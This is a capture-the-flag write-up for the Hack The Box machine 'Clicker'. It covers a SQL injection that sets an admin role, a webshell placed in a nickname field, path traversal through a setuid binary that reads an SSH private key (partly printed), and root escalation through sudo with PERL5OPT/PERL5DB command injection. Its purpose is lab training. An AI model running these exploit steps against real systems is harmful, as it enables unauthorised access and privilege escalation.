HTB: Clicker¶
Summary with Spoilers
- This machine exposed an unauthenticated NFS share containing a ZIP file with the website’s source code.
- Using the source code, I found an SQL injection vulnerability to elevate my role to
Admin
and gain RCE via a webshell. - I escalated privileges by abusing a
setuid
binary to accessjack
’s SSH key, then exploited asudo
misconfiguration withPERL5OPT
to gainroot
access.
Services¶
TCP¶
This target is running an unremarkable web service, and it exports an unauthenticated NFS mount.
# Nmap 7.94SVN scan initiated Mon Oct 7 11:23:12 2024 as: nmap -v --reason -Pn -T4 --min-rate 1000 -p- --open -sCV -oA nmap_tcp-clicker.htb clicker.htb
Nmap scan report for clicker.htb (10.10.11.232)
Host is up, received user-set (0.12s latency).
Not shown: 63863 closed tcp ports (reset), 1663 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Clicker - The Game
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34244/udp mountd
| 100005 1,2,3 40847/tcp6 mountd
| 100005 1,2,3 42889/tcp mountd
| 100005 1,2,3 57188/udp6 mountd
| 100021 1,3,4 37328/udp nlockmgr
| 100021 1,3,4 38789/tcp6 nlockmgr
| 100021 1,3,4 44129/tcp nlockmgr
|_ 100021 1,3,4 58869/udp6 nlockmgr
2049/tcp open nfs syn-ack ttl 63 3-4 (RPC #100003)
34795/tcp open rpcbind syn-ack ttl 63
42889/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
44129/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
44673/tcp open status syn-ack ttl 63 1 (RPC #100024)
59447/tcp open rpcbind syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 7 11:24:47 2024 -- 1 IP address (1 host up) scanned in 95.04 seconds
Poking Around¶
The web site is a simple "clicking" game, where users may register and play a game that records how many clicks they make, saving their progress on a score board.
The registration, login, game play, and score-saving flow looks like this:
Lots to work with there.
The NFS export is accessible without authentication.
$ showmount -e 10.10.11.232
clnt_create: RPC: Program not registered
$ showmount -e clicker.htb
Export list for clicker.htb:
/mnt/backups *
There's a ZIP file in the backups
directory:
$ sudo mount -t nfs clicker.htb:/mnt/backups ./backups
[sudo] password for e:
$ ls backups/
clicker.htb_backup.zip
$ cp backups/clicker.htb_backup.zip ./
...
The ZIP file contains a backup of the site's source code, allowing for a white-box analysis.
$ find . -name '*php'
./diagnostic.php
./export.php
./register.php
./login.php
./db_utils.php
./authenticate.php
./create_player.php
./save_game.php
./admin.php
./info.php
./play.php
./profile.php
./logout.php
./index.php
The database connection code contains hardcoded credentials. In the save_profile()
function, the $key
parameter is injectable because column names are not whitelisted. The $value
parameter is not injectable because it's passed through $pdo->quote(…) .
$ cat db_utils.php
<?php
session_start();
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);
...
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
...
function load_profile($player) {
global $pdo;
$params = ["player"=>$player];
$stmt = $pdo->prepare("SELECT nickname, role, clicks, level FROM players WHERE username = :player");
$stmt->execute($params);
if ($stmt->rowCount() > 0) {
$row = $stmt->fetch(PDO::FETCH_ASSOC);
return $row;
}
return array();
}
...
The authentication code creates a new session and sets various parameters via load_profile()
from db_utils.php
. Pay attention to the ROLE
key, as it determines if the user is an administrator. This is only set upon login, so fiddling with any of the attributes below at the database-level will require logging out and back in for the changes to take effect.
$ cat authenticate.php
<?php
session_start();
include_once("db_utils.php");
if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] != "" && $_POST['password'] != "") {
if(check_auth($_POST['username'], $_POST['password'])) {
$_SESSION["PLAYER"] = $_POST["username"];
$profile = load_profile($_POST["username"]);
$_SESSION["NICKNAME"] = $profile["nickname"];
$_SESSION["ROLE"] = $profile["role"];
$_SESSION["CLICKS"] = $profile["clicks"];
$_SESSION["LEVEL"] = $profile["level"];
header('Location: /index.php');
}
else {
header('Location: /login.php?err=Authentication Failed');
}
}
?>
The "game" is trivially exploitable since CLICKS
and LEVEL
are taken directly from GET
parameters. Changing ROLE
is a little trickier, since there's a rudimentary attempt to prevent manipulating that value.
$ cat save_game.php
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
Here's the admin.php
check that determines whether the user is an administrator:
<?php
session_start();
include_once("db_utils.php");
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
?>
...
Remote Code Execution¶
To achieve RCE, I need to elevate my privileges to 'Admin'
as specified by the ROLE column in the database.
There are (at least) two ways to do this. The most straightforward path is via injecting role='Admin'
into the GET
request, URL-encoding =
as %3d
:
GET /save_game.php?role%3d'Admin',clicks=42&level=0 HTTP/1.1
...
That bypasses the simplistic abuse-detection check, which is: if (strtolower($key) === 'role')
Logging out and back in reveals the /admin.php
page:
db_utils.php
has a function get_top_players()
that's used to populate the data:
// ONLY FOR THE ADMIN
function get_top_players($number) {
global $pdo;
$stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
return $result;
}
The Export
button saves data into a file and reveals the path. Here's an example, `/exports/top_players_2e51ilco.html':
I can sneak a webshell into the nickname
field:
And that works for code execution:
I use the webshell to get a proper interactive shell:
www-data@clicker:/var/www/clicker.htb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation¶
There's a user named jack
that looks like the next target.
www-data@clicker:/var/www/clicker.htb$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Sep 5 2023 .
drwxr-xr-x 18 root root 4096 Sep 5 2023 ..
drwxr-x--- 7 jack jack 4096 Sep 6 2023 jack
There are some admin scripts in /opt
.
A monitoring script that uses the diagnostic.php
page:
www-data@clicker:/var/www/clicker.htb$ ls /opt
manage monitor.sh
www-data@clicker:/var/www/clicker.htb$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
And README.txt
appears to be instructions for setting up a new database for the web app, and other administrative tasks:
www-data@clicker:/opt$ cat /opt/manage/README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
Like so:
www-data@clicker:/opt/manage$ ./execute_query 3
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
UPDATE players SET password='ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82' WHERE username='admin'
--------------
strings
is enough to reveal some sensitive info:
www-data@clicker:/opt$ strings /opt/manage/execute_query
/lib64/ld-linux-x86-64.so.2
O+-W
...
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
ERROR: not enough arguments
ERROR: Invalid arguments
create.sql
populate.sql
reset_password.sql
clean.sql
File not readable or not found
:*3$"
GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Scrt1.o
__abi_tag
...
But, we already had the database credentials from the source code. Those *.sql
files are probably the SQL commands to do the tasks defined in README.txt
.
A close look at the binary reveals it is setuid
:
www-data@clicker:/opt/manage$ ls -la execute_query
-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 execute_query
I decompiled the binary in Ghidra. Here's the case
statement from the main
function that processes the command-line arguments:
...
if (param_1 < 2) {
puts("ERROR: not enough arguments");
uVar2 = 1;
}
else {
iVar1 = atoi(*(char **)(param_2 + 8));
pcVar3 = (char *)calloc(0x14,1);
switch(iVar1) {
case 0:
puts("ERROR: Invalid arguments");
uVar2 = 2;
goto LAB_001015e1;
case 1:
strncpy(pcVar3,"create.sql",0x14);
break;
case 2:
strncpy(pcVar3,"populate.sql",0x14);
break;
case 3:
strncpy(pcVar3,"reset_password.sql",0x14);
break;
case 4:
strncpy(pcVar3,"clean.sql",0x14);
break;
default:
strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
}
...
So, anything besides options 1-5 will trigger the default
case, which takes an arbitrary argument. The program displays the contents of the SQL files when running them, so I should be able to use that to read files as jack
:
www-data@clicker:/opt/manage$ ./execute_query 5 '../../../etc/passwd'
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
Interestingly, using the exact number of .. directories is necessary for the traversal to work. Maybe the mysql
binary or the system call limits the traversal depth with an arbitrary number of ..
entries? No, more likely this is because the executable uses a small string buffer for the argument, and too many ..
's will truncate the filename.
www-data@clicker:/opt/manage$ ./execute_query 5 '../../../../etc/passwd'
File not readable or not found
I can use this to run arbitrary MySQL commands as jack
:
www-data@clicker:/dev/shm$ /opt/manage/execute_query 5 '../../../tmp/x.sql'
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
select sleep(5)
--------------
Direct code execution via MySQL statements doesn't seem possible, but I can read the user's SSH key:
www-data@clicker:/tmp$ /opt/manage/execute_query 5 '../.ssh/id_rsa'
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
...
I clean up the key and use it to login as jack
via SSH:
$ ssh -i id.jack jack@clicker.htb
Warning: Permanently added 'clicker.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
...
jack@clicker:~$ ls
queries user.txt
Now, check sudo
:
jack@clicker:~/queries$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
Here is /opt/monitor.sh
:
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
Note that sudoers
uses SETENV
in this line:
(root) SETENV: NOPASSWD: /opt/monitor.sh
This preserves all environmental variables passed via the command-line. This can be exploited since monitor.sh
invokes a Perl script (xml_pp
). Leveraging PERL5OPT
and PERL5DB
to inject commands through the Perl debugger is a well-known technique, and it can be applied effectively here:
jack@clicker:~/queries$ sudo PERL5OPT=-d PERL5DB='system("cp /bin/sh /tmp/x; chmod 4755 /tmp/x")' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
jack@clicker:~/queries$ ls -l /tmp/x
-rwsr-xr-x 1 root root 125688 Oct 7 22:31 /tmp/x
jack@clicker:~/queries$ /tmp/x -p
# id
uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
Credits¶
Thanks to 0xdf for the PERL5OPT
and PERL5DB
tips for privilege escalation.